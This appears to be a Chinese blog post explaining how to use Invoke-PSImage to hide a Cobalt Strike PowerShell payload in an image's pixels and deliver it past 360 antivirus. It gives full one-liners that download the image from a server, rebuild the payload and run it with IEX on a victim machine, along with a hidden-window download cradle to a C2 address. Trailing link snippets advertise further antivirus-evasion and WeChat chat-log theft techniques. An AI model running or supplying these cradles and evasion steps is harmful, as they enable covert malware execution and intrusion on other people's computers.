利用工具

Invoke-PSImage
任意一张图片

模拟上线

1.使用cs生成一个powershell的payload。

2.执行工具脚本并保存生成的上线命令：

工具脚本命令：

powershell -exec bypass "Import-Module ./Invoke-PSimage.ps1;Invoke-PSImage -Script .\payload.ps1 -Image .\image.jpg -Out .\image.png -Web"

生成的上线命令如下：

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

3.将生成的恶意图片上传到服务器上：

4.更改上线命令中的url地址为图片地址并在受害者机器上执行上线命令：
更改方框处

更改后的命令：

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://172.16.250.3/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

5.上线完成

360未爆毒

总结

如果我们先用命令进入powershell然后执行上线命令，确实可以绕过杀软，如果我们直接在cmd页面执行:

powershell  sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://172.16.250.3/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

杀软会爆毒。

一般情况下cs的上线代码为：

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.95.57.87:82/a'))"

直接执行下面代码也可以上线，而且杀软也不会爆毒：

IEX ((new-object net.webclient).downloadstring('http://10.95.57.87:82/a'))

参考文章

Shellcode隐写到预期RGB免杀上线到CobaltStrike

使用powershell免杀上线CS的新方式---利用图片相关推荐

（记录向）Python反序列化免杀上线CS（并使用Shielden加密绕过360）
1.首先cs生成一个64位的Python Payload 2.截取其中的Payload,并进行base64编码. 3.把这一串子base64放到VPS上.并开启web服务. python3 -m ht ...
Powershell 过火绒免杀上线
payload生成原生payload生成后被无情秒杀 powershell免杀制作打开powershell命令行,将payload编码 1.新建一个变量h,用来接收之后编码的payload $h= ...
Powershell 免杀过 defender 火绒，附自动化工具
技术交流关注微信公众号 Z20安全团队 , 回复加群 ,拉你入群一起讨论技术. 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. powershell执行策略修改 1 获取 Powe ...
powershell免杀可替换的关键字
powershell免杀可替换的关键字关键字可替换 IEX $DoIt -- i`ex $DoIt IEX $a -- ie`x $a $var_runme -- $vrunme $var_buff ...
shellcode免杀；CS上线；获取微信聊天记录
获取被控端微信聊天记录参考: https://mp.weixin.qq.com/s/4DbXOS5jDjJzM2PN0Mp2JA 微信取证工具(随时更新,随时关注): https://github.c ...
Powershell免杀系列（二）
技术交流关注微信公众号 Z20安全团队 , 回复加群 ,拉你入群一起讨论技术. 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. 正文 powershell的免杀⽅法有很多,对代码进 ...
记一次PowerShell免杀实战
最近在玩免杀,发现了一些免杀思路,今天来给大家做个分享,希望可以帮到大家. 0x01 powershell 加载 shellcode 介绍 UNIX 系统一直有着功能强大的壳程序(shell),Win ...
新版掩日免杀——搭配CS使用测试
阅读前请注意: 本人发布的此篇技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站,服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵 ...
2017php免杀大马,cs 免杀 payload 绕过 360 全家桶
文章来源于叮咚实验室作者:吃个橘子实验环境: Win10 物理机(cs 服务端)Win7 虚拟机(360 安全卫士+360 杀毒全家桶最新版) 准备材料:vs2017 ,cs 我们先用CS生成普 ...

使用powershell免杀上线CS的新方式---利用图片

文章目录

利用工具

模拟上线

总结

参考文章

使用powershell免杀上线CS的新方式---利用图片相关推荐

最新文章

热门文章